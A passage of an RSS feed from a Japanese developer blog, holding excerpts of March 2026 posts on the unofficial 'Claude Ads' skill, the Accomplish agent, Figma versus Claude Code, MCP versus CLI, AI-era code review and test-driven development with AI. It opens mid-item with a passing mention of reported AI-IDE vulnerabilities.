&lt;h3 id="実際に報告されている脆弱性"&gt;実際に報告されている脆弱性&lt;/h3&gt;
&lt;p&gt;2025年末に公開された「IDEsaster」と呼ばれる調査では、Cursor、Windsurf、GitHub Copilot、Cline など30以上の AI IDE に脆弱性が発見されています。OpenAI Codex CLI では &lt;code&gt;.env&lt;/code&gt; ファイルを経由した任意コマンド実行の脆弱性（CVE-2025-61260）も報告されました。&lt;/p&gt;</description></item><item><title>「Claude Ads」の正体 — Anthropic 公式ではない個人開発スキルが日本でバズった構造を解剖する</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-ads%E3%81%AE%E6%AD%A3%E4%BD%93-anthropic-%E5%85%AC%E5%BC%8F%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%84%E5%80%8B%E4%BA%BA%E9%96%8B%E7%99%BA%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%8C%E6%97%A5%E6%9C%AC%E3%81%A7%E3%83%90%E3%82%BA%E3%81%A3%E3%81%9F%E6%A7%8B%E9%80%A0%E3%82%92%E8%A7%A3%E5%89%96%E3%81%99%E3%82%8B/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-ads%E3%81%AE%E6%AD%A3%E4%BD%93-anthropic-%E5%85%AC%E5%BC%8F%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%84%E5%80%8B%E4%BA%BA%E9%96%8B%E7%99%BA%E3%82%B9%E3%82%AD%E3%83%AB%E3%81%8C%E6%97%A5%E6%9C%AC%E3%81%A7%E3%83%90%E3%82%BA%E3%81%A3%E3%81%9F%E6%A7%8B%E9%80%A0%E3%82%92%E8%A7%A3%E5%89%96%E3%81%99%E3%82%8B/</guid><description>&lt;h1 id="claude-adsの正体--anthropic-公式ではない個人開発スキルが日本でバズった構造を解剖する"&gt;「Claude Ads」の正体 — Anthropic 公式ではない個人開発スキルが日本でバズった構造を解剖する&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/lapper_s_high/status/2028735162608169371"&gt;@lapper_s_high 氏のポスト&lt;/a&gt;が、「Claude Ads」の名前が引き起こした混乱を端的に指摘しています（いいね 482）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;開発者も日本でこんなに話題になるなんて思わなかったのでは・・&lt;/p&gt;
&lt;p&gt;Claude Adsなんて名前つけるから。。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;引用元の &lt;a href="https://x.com/ryottaman/status/2028668064615801079"&gt;@ryottaman 氏のポスト&lt;/a&gt;（表示 27万、ブックマーク 390）が拡散の起点となり、日本の SNS では「Anthropic が広告運用ツールを出した」という誤解が広がりました。&lt;/p&gt;
&lt;p&gt;実際には、Claude Ads は **Anthropic の公式製品ではなく、個人開発者が GitHub に公開した Claude Code 向けのスキル（拡張機能）**です。本記事では、なぜこの混乱が起きたのか、Claude Ads の実態は何なのか、そして Claude Code のスキルシステムがどのように機能するのかを解説します。&lt;/p&gt;
&lt;h2 id="なぜ混乱が起きたのか--3つの偶然の重なり"&gt;なぜ混乱が起きたのか — 3つの偶然の重なり&lt;/h2&gt;
&lt;h3 id="偶然1-anthropic-のスーパーボウル-cm"&gt;偶然1: Anthropic のスーパーボウル CM&lt;/h3&gt;
&lt;p&gt;2026年2月、Anthropic はスーパーボウル第60回大会で CM を放映しました。キャッチコピーは &lt;strong&gt;「Ads are coming to AI. But not to Claude.」&lt;/strong&gt;（広告は AI にやって来る。だが、Claude には来ない）。OpenAI が ChatGPT への広告導入を発表した直後のタイミングで、「Claude は広告を入れない」と宣言する内容でした。&lt;/p&gt;
&lt;p&gt;この CM は大きな話題となり、OpenAI の Sam Altman CEO が「面白いが明らかに不誠実」と反論する事態にまで発展しています。&lt;/p&gt;
&lt;h3 id="偶然2-claude-adsという名前"&gt;偶然2: 「Claude Ads」という名前&lt;/h3&gt;
&lt;p&gt;その直後、個人開発者の Daniel Agrici 氏が GitHub に公開したのが &lt;a href="https://github.com/AgriciDaniel/claude-ads"&gt;claude-ads&lt;/a&gt; です。これは Claude Code で広告アカウントを監査するスキルであり、「Claude を使って Ads（広告）を分析する」という意味での命名でした。&lt;/p&gt;</description></item><item><title>「Claude Codeが無料で使える最強AIエージェント」は本当か — Accomplish の実態とAI煽りの再来</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%8C%E7%84%A1%E6%96%99%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E6%9C%80%E5%BC%B7ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AF%E6%9C%AC%E5%BD%93%E3%81%8B-accomplish-%E3%81%AE%E5%AE%9F%E6%85%8B%E3%81%A8ai%E7%85%BD%E3%82%8A%E3%81%AE%E5%86%8D%E6%9D%A5/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code%E3%81%8C%E7%84%A1%E6%96%99%E3%81%A7%E4%BD%BF%E3%81%88%E3%82%8B%E6%9C%80%E5%BC%B7ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E3%81%AF%E6%9C%AC%E5%BD%93%E3%81%8B-accomplish-%E3%81%AE%E5%AE%9F%E6%85%8B%E3%81%A8ai%E7%85%BD%E3%82%8A%E3%81%AE%E5%86%8D%E6%9D%A5/</guid><description>&lt;h1 id="claude-codeが無料で使える最強aiエージェントは本当か--accomplish-の実態とai煽りの再来"&gt;「Claude Codeが無料で使える最強AIエージェント」は本当か — Accomplish の実態とAI煽りの再来&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/gagarotai200/status/2028675974834110472"&gt;ガガロットAI(@gagarotai200)氏のポスト&lt;/a&gt;が604いいね、764ブックマーク、約42,000表示と大きな反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;『Claude Code』が無料で使える最強AIエージェントが登場したww Accomplishっていうローカルで動くAIエージェントがGitHubに上がってたから共有する。これ入れれば、Claude Codeレベルの AIエージェントがサブスク購入なしで永遠に使えるwww
— ガガロットAI(@gagarotai200)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この投稿者は、以前「&lt;a href="https://gist.github.com/hdknr/1ddcd07ed2cfe5a9510119208b4376e2"&gt;OpenClawで5人解雇&lt;/a&gt;」という根拠不明の煽りポストでも注目を集めた人物で、AIスクールを運営しています。今回も「最強」「無料」「永遠に使える」というキーワードが並んでいますが、主張はどこまで正確なのでしょうか。&lt;a href="https://accomplish.ai/"&gt;Accomplish&lt;/a&gt; の実態を公式情報から検証します。&lt;/p&gt;
&lt;h2 id="accomplish-とは何か"&gt;Accomplish とは何か&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://github.com/accomplish-ai/accomplish"&gt;Accomplish&lt;/a&gt; は2026年1月13日に公開されたオープンソース（MITライセンス）のデスクトップ AI エージェントです。GitHub Stars 9.6k、Forks 1k、コントリビューター31名と、一定の支持を集めています。&lt;/p&gt;
&lt;h3 id="基本情報"&gt;基本情報&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;内容&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;開発元&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;accomplish-ai&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ライセンス&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;技術スタック&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Electron + React + TypeScript&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;対応OS&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;macOS（Apple Silicon / Intel）、Windows 11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;最新バージョン&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;0.3.10&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;内部構造&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;a href="https://opencode.ai/"&gt;OpenCode CLI&lt;/a&gt; を node-pty 経由で起動&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="主要機能"&gt;主要機能&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ブラウザ自動化&lt;/strong&gt;: Web検索、フォーム入力、データ抽出&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ファイル管理&lt;/strong&gt;: フォルダ整理、ファイル名変更、コンテンツベースの分類&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ドキュメント作成&lt;/strong&gt;: レポート作成、要約、メール下書き&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ワークフロー自動化&lt;/strong&gt;: 反復タスクの自動化&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="対応-ai-モデル"&gt;対応 AI モデル&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;カテゴリ&lt;/th&gt;
&lt;th&gt;プロバイダー&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;クラウドAPI&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Anthropic（Claude）、OpenAI、Google AI、xAI、DeepSeek、Moonshot AI 等&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;クラウドインフラ&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Amazon Bedrock、Azure Foundry、OpenRouter、LiteLLM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;ローカル&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Ollama、LM Studio&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="主張の検証"&gt;主張の検証&lt;/h2&gt;
&lt;h3 id="主張1-claude-codeレベルの-aiエージェント"&gt;主張1: 「Claude Codeレベルの AIエージェント」&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;検証結果: 大幅に誇張&lt;/strong&gt;&lt;/p&gt;</description></item><item><title>「Figmaは100%不要」宣言の真意 --- Claude Codeが溶かすデザインとコードの境界</title><link>https://hdknr.github.io/blogs/posts/2026/03/figma%E3%81%AF100%E4%B8%8D%E8%A6%81%E5%AE%A3%E8%A8%80%E3%81%AE%E7%9C%9F%E6%84%8F---claude-code%E3%81%8C%E6%BA%B6%E3%81%8B%E3%81%99%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%81%A8%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AE%E5%A2%83%E7%95%8C/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/figma%E3%81%AF100%E4%B8%8D%E8%A6%81%E5%AE%A3%E8%A8%80%E3%81%AE%E7%9C%9F%E6%84%8F---claude-code%E3%81%8C%E6%BA%B6%E3%81%8B%E3%81%99%E3%83%87%E3%82%B6%E3%82%A4%E3%83%B3%E3%81%A8%E3%82%B3%E3%83%BC%E3%83%89%E3%81%AE%E5%A2%83%E7%95%8C/</guid><description>&lt;h1 id="figma-は-100-不要宣言の真意--claude-code-が溶かすデザインとコードの境界"&gt;「Figma は 100% 不要」宣言の真意 &amp;mdash; Claude Code が溶かすデザインとコードの境界&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/kawai_design/status/2029115059251888431"&gt;@kawai_design 氏が X で公開した記事&lt;/a&gt;が議論を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Claude Code を使えば使うほど、Figma を開く理由が消えていく。これは私だけの感覚ではありません。今、世界中のデザイナーが同じ疑問を抱えています。私の結論は明確です。Figma は 100% 不要。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;同時期に &lt;a href="https://uxdesign.cc/figmas-not-a-design-tool-it-s-a-rube-goldberg-machine-for-avoiding-code-2a24f11add5d"&gt;UX Collective に掲載された Michael Buckley 氏の記事&lt;/a&gt;「Figma はデザインツールではない。コードを避けるためのピタゴラスイッチだ」も世界のデザイナーを震撼させました。本記事では、この「Figma 不要論」の構造と、Figma 自身の対応、そして AI 時代のデザインワークフローの変化を技術的に整理します。&lt;/p&gt;
&lt;h2 id="ピタゴラスイッチ批判--何が問題なのか"&gt;「ピタゴラスイッチ」批判 &amp;mdash; 何が問題なのか&lt;/h2&gt;
&lt;h3 id="ux-collective-の記事が突いた急所"&gt;UX Collective の記事が突いた急所&lt;/h3&gt;
&lt;p&gt;Michael Buckley 氏の記事は、Figma でのデザイン作業を**ルーブ・ゴールドバーグ・マシン（ピタゴラスイッチ）**に例えました。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Figma でボタンを作る作業:
1. Auto Layout を設定する
2. パディングを調整する
3. ホバーステートを作る
4. インタラクションを設定する
5. プロトタイプモードで動作確認する
6. 開発者に引き渡す
7. 開発者がコードで再実装する
開発者が同じボタンを作る作業:
&amp;lt;button className=&amp;#34;btn-primary&amp;#34;&amp;gt;送信&amp;lt;/button&amp;gt;
→ 5 分で完了。ホバー、アクセシビリティも含めて
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;「パンケーキを返すためにピタゴラスイッチを作るようなもの」&amp;mdash; この比喩が刺さったのは、多くのデザイナーが無意識にこの非効率を受け入れていたからです。&lt;/p&gt;
&lt;h3 id="本質的な問題-デザインとコードの翻訳"&gt;本質的な問題: デザインとコードの「翻訳」&lt;/h3&gt;
&lt;p&gt;Figma の存在意義は&lt;strong&gt;デザインとコードの間の翻訳レイヤー&lt;/strong&gt;にあります。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;従来のワークフロー:
デザイナーの意図
→ Figma でビジュアル化（翻訳 1）
→ デザインスペック作成（翻訳 2）
→ 開発者がコードに変換（翻訳 3）
→ 実装結果をデザイナーがレビュー（逆翻訳）
翻訳のたびに情報が劣化する:
- ピクセルのズレ
- インタラクションの解釈違い
- レスポンシブ挙動の不一致
- アクセシビリティの抜け漏れ
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;AI がデザインの意図を理解し、直接コードを生成するようになれば、この翻訳プロセス自体が不要になります。@kawai_design 氏の「翻訳の元データである Figma ファイルも要りません」という指摘は、ここに根ざしています。&lt;/p&gt;</description></item><item><title>「MCPは死んだ、CLIに栄光あれ」— Playwright CLI が出した結論と、それでもMCPが生き残る理由</title><link>https://hdknr.github.io/blogs/posts/2026/03/mcp%E3%81%AF%E6%AD%BB%E3%82%93%E3%81%A0cli%E3%81%AB%E6%A0%84%E5%85%89%E3%81%82%E3%82%8C-playwright-cli-%E3%81%8C%E5%87%BA%E3%81%97%E3%81%9F%E7%B5%90%E8%AB%96%E3%81%A8%E3%81%9D%E3%82%8C%E3%81%A7%E3%82%82mcp%E3%81%8C%E7%94%9F%E3%81%8D%E6%AE%8B%E3%82%8B%E7%90%86%E7%94%B1/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/mcp%E3%81%AF%E6%AD%BB%E3%82%93%E3%81%A0cli%E3%81%AB%E6%A0%84%E5%85%89%E3%81%82%E3%82%8C-playwright-cli-%E3%81%8C%E5%87%BA%E3%81%97%E3%81%9F%E7%B5%90%E8%AB%96%E3%81%A8%E3%81%9D%E3%82%8C%E3%81%A7%E3%82%82mcp%E3%81%8C%E7%94%9F%E3%81%8D%E6%AE%8B%E3%82%8B%E7%90%86%E7%94%B1/</guid><description>&lt;h1 id="mcpは死んだcliに栄光あれ-playwright-cli-が出した結論とそれでもmcpが生き残る理由"&gt;「MCPは死んだ、CLIに栄光あれ」— Playwright CLI が出した結論と、それでもMCPが生き残る理由&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/swarm_ai_cloud/status/2028974738341847233"&gt;@swarm_ai_cloud 氏のポスト&lt;/a&gt;が、&lt;a href="https://x.com/hiroki_daichi/status/2028835675702018214"&gt;@hiroki_daichi 氏&lt;/a&gt;が紹介した「MCP is dead. Long live the CLI」という記事に対して、Playwright CLI の登場を根拠に「結論が出た」と指摘しています。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;今年1月、PlaywrightがCLIを出したことで結論出ましたね。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;2026年2月、Eric Holmes の「&lt;a href="https://ejholmes.github.io/2026/02/28/mcp-is-dead-long-live-the-cli.html"&gt;MCP is dead. Long live the CLI&lt;/a&gt;」がHacker Newsのトップに上がり、85ポイント・66コメントを集めました。LLM にとって MCP は不要で、CLI で十分だという主張です。そして1月に Microsoft が Playwright CLI をリリースしたことで、この議論に具体的なデータが加わりました。&lt;/p&gt;
&lt;h2 id="eric-holmes-の主張--mcp-は何の利益ももたらさない"&gt;Eric Holmes の主張 — MCP は何の利益ももたらさない&lt;/h2&gt;
&lt;p&gt;Holmes の記事は5つの論点で MCP の不要性を訴えています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;論点&lt;/th&gt;
&lt;th&gt;主張&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;LLM に特別なプロトコルは不要&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;何百万もの man ページと Stack Overflow で訓練済み。CLI とドキュメントを渡せば十分&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;CLI は人間も使える&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;問題発生時に同じコマンドを人間が実行してデバッグできる。MCP は JSON ログの解読が必要&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;合成可能性&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;jq&lt;/code&gt;、&lt;code&gt;grep&lt;/code&gt;、パイプで自由に組み合わせ可能。MCP サーバーの返すデータは固定&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;認証は解決済み&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;aws&lt;/code&gt;、&lt;code&gt;gh&lt;/code&gt;、&lt;code&gt;kubectl&lt;/code&gt; は人間とエージェントの両方で動作する&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;可動部品がない&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;CLI バイナリにバックグラウンドプロセスは不要。MCP サーバーは初期化で落ちることがある&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Holmes が特に強調したのは、MCP の&lt;strong&gt;実運用上の痛み&lt;/strong&gt;です。&lt;/p&gt;</description></item><item><title>「コードレビューは死ぬ」— AI時代のレビューは500行のdiffを読むことではない</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%AF%E6%AD%BB%E3%81%AC-ai%E6%99%82%E4%BB%A3%E3%81%AE%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%AF500%E8%A1%8C%E3%81%AEdiff%E3%82%92%E8%AA%AD%E3%82%80%E3%81%93%E3%81%A8%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%84/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%82%B3%E3%83%BC%E3%83%89%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%AF%E6%AD%BB%E3%81%AC-ai%E6%99%82%E4%BB%A3%E3%81%AE%E3%83%AC%E3%83%93%E3%83%A5%E3%83%BC%E3%81%AF500%E8%A1%8C%E3%81%AEdiff%E3%82%92%E8%AA%AD%E3%82%80%E3%81%93%E3%81%A8%E3%81%A7%E3%81%AF%E3%81%AA%E3%81%84/</guid><description>&lt;h1 id="コードレビューは死ぬ-ai時代のレビューは500行のdiffを読むことではない"&gt;「コードレビューは死ぬ」— AI時代のレビューは500行のdiffを読むことではない&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/hiroki_daichi/status/2028831140321362109"&gt;hiroki_daichi氏のポスト&lt;/a&gt;が、Latent Space に掲載された記事「&lt;a href="https://www.latent.space/p/reviews-dead"&gt;How to Kill the Code Review&lt;/a&gt;」を紹介し、555いいね、80RT、約51,000表示と大きな反響を呼んでいます。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;「コードレビューは死ぬ」という刺激的な記事が出ていた。AI活用チームはタスク完了21%増、マージ98%増。一方でPRレビュー時間は91%増。変更の数も規模も指数的に増えている。人間がコードを全部読むのはもう無理だ。
— hiroki_daichi&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この記事の著者は &lt;a href="https://www.aviator.co/"&gt;Aviator&lt;/a&gt; の創業者兼CEO、Ankit Jain 氏です。Aviator はコードレビュー・マージキュー・デプロイメントの自動化プラットフォームを開発しており、著者の主張は「自社の課題認識から生まれた設計提案」という性格を持っています。Latent Space 編集部も「全面的に同意しているわけではないが、思考を刺激する内容として掲載した」と注記しています。&lt;/p&gt;
&lt;h2 id="問題--ai-がコードを書く速度に人間のレビューが追いつかない"&gt;問題 — AI がコードを書く速度に、人間のレビューが追いつかない&lt;/h2&gt;
&lt;h3 id="数字が示す矛盾"&gt;数字が示す矛盾&lt;/h3&gt;
&lt;p&gt;記事が引用するデータは、AI コーディングツールの導入効果と副作用を同時に映し出しています。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;指標&lt;/th&gt;
&lt;th&gt;変化&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;タスク完了数&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+21%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;マージされた PR 数&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+98%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PR レビュー時間&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;+91%&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;PR の数が倍近く増え、レビュー時間も倍近く増える。これは持続可能な状態ではありません。&lt;/p&gt;
&lt;h3 id="従来のコードレビューの限界"&gt;従来のコードレビューの限界&lt;/h3&gt;
&lt;p&gt;著者は、人間によるコードレビューが&lt;strong&gt;AIが登場する前から&lt;/strong&gt;機能不全だったと指摘します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;PR が数日間放置される&lt;/li&gt;
&lt;li&gt;500行の diff をスキミングして「LGTM」を返すラバースタンプ承認&lt;/li&gt;
&lt;li&gt;レビュアーは自分の作業を抱えながら他人のコードを読む&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;AI がコード生成を加速させたことで、この構造的な問題が表面化しただけだという主張です。&lt;/p&gt;
&lt;h2 id="提案--レビュー対象をコードから意図intentへ"&gt;提案 — レビュー対象を「コード」から「意図（Intent）」へ&lt;/h2&gt;
&lt;h3 id="核心の発想転換"&gt;核心の発想転換&lt;/h3&gt;
&lt;p&gt;著者の提案は明快です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;人間がやるべきは500行のdiffを読むことではなく、仕様・制約・受け入れ基準を定義すること。コードはspecの成果物に過ぎない。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;つまり、レビューの対象を**コード（How）&lt;strong&gt;から&lt;/strong&gt;意図（What / Why）**へ移すということです。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;従来のレビュー&lt;/th&gt;
&lt;th&gt;Intent ベースのレビュー&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;「このコードは正しく書かれているか？」&lt;/td&gt;
&lt;td&gt;「正しい問題を、正しい制約で解いているか？」&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;500行の diff を読む&lt;/td&gt;
&lt;td&gt;仕様・受け入れ基準をレビューする&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;実装の詳細に注目&lt;/td&gt;
&lt;td&gt;設計意図と制約条件に注目&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;コードが成果物&lt;/td&gt;
&lt;td&gt;Spec が成果物、コードは副産物&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="人間の役割の再定義"&gt;人間の役割の再定義&lt;/h3&gt;
&lt;p&gt;hiroki_daichi氏の要約が本質を突いています。&lt;/p&gt;</description></item><item><title>「テスト書いて」と「テスト駆動で実装して」は全く別物 — AI×TDD で品質が劇的に変わる構造的理由</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%86%E3%82%B9%E3%83%88%E6%9B%B8%E3%81%84%E3%81%A6%E3%81%A8%E3%83%86%E3%82%B9%E3%83%88%E9%A7%86%E5%8B%95%E3%81%A7%E5%AE%9F%E8%A3%85%E3%81%97%E3%81%A6%E3%81%AF%E5%85%A8%E3%81%8F%E5%88%A5%E7%89%A9-aitdd-%E3%81%A7%E5%93%81%E8%B3%AA%E3%81%8C%E5%8A%87%E7%9A%84%E3%81%AB%E5%A4%89%E3%82%8F%E3%82%8B%E6%A7%8B%E9%80%A0%E7%9A%84%E7%90%86%E7%94%B1/</link><pubDate>Wed, 04 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E3%83%86%E3%82%B9%E3%83%88%E6%9B%B8%E3%81%84%E3%81%A6%E3%81%A8%E3%83%86%E3%82%B9%E3%83%88%E9%A7%86%E5%8B%95%E3%81%A7%E5%AE%9F%E8%A3%85%E3%81%97%E3%81%A6%E3%81%AF%E5%85%A8%E3%81%8F%E5%88%A5%E7%89%A9-aitdd-%E3%81%A7%E5%93%81%E8%B3%AA%E3%81%8C%E5%8A%87%E7%9A%84%E3%81%AB%E5%A4%89%E3%82%8F%E3%82%8B%E6%A7%8B%E9%80%A0%E7%9A%84%E7%90%86%E7%94%B1/</guid><description>&lt;h1 id="テスト書いてとテスト駆動で実装しては全く別物--aitdd-で品質が劇的に変わる構造的理由"&gt;「テスト書いて」と「テスト駆動で実装して」は全く別物 — AI×TDD で品質が劇的に変わる構造的理由&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://x.com/neurostack_0001/status/2028788224231927975"&gt;@neurostack_0001 氏のポスト&lt;/a&gt;が、AI にテストを書かせる際の決定的な違いを指摘し、大きな反響を呼んでいます（いいね 267、ブックマーク 222）。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;3ヶ月AIにテストコード書かせてわかったこと。&lt;/p&gt;
&lt;p&gt;「テスト書いて」と「テスト駆動で実装して」は全く別物だった。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;3ヶ月間の実体験から導き出された結論は明快です。AI に「テストを書いて」と頼むのと「テスト駆動で実装して」と頼むのでは、&lt;strong&gt;出力されるテストの品質が根本的に異なる&lt;/strong&gt;。本記事では、なぜこの違いが生まれるのか、その構造的な理由と実践的なワークフローを解説します。&lt;/p&gt;
&lt;h2 id="テスト書いてが失敗する構造"&gt;「テスト書いて」が失敗する構造&lt;/h2&gt;
&lt;h3 id="テスト後付けバイアス"&gt;テスト後付けバイアス&lt;/h3&gt;
&lt;p&gt;ポスト主が最初に経験した失敗パターンは、多くの開発者に共通するものです。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;最初はClaude Codeに「この関数のテスト書いて」と頼んでた。構文は完璧。でも実行すると半分以上落ちる。テスト対象もモックしてたり、存在しないメソッド呼んでたり。「テストっぽいもの」を量産してただけ。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;この問題は&lt;strong&gt;テスト後付けバイアス&lt;/strong&gt;と呼ばれる LLM の構造的な弱点に起因します。LLM が実装コードを見てからテストを生成する場合、テストは「コードが何をすべきか」ではなく「コードが何をしているか」を検証するものになりがちです。&lt;/p&gt;
&lt;p&gt;具体的に発生する問題は以下の通りです。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;問題&lt;/th&gt;
&lt;th&gt;説明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;テスト対象のモック化&lt;/td&gt;
&lt;td&gt;テストすべき関数自体をモックしてしまい、実際のロジックを検証していない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;存在しないメソッド呼び出し&lt;/td&gt;
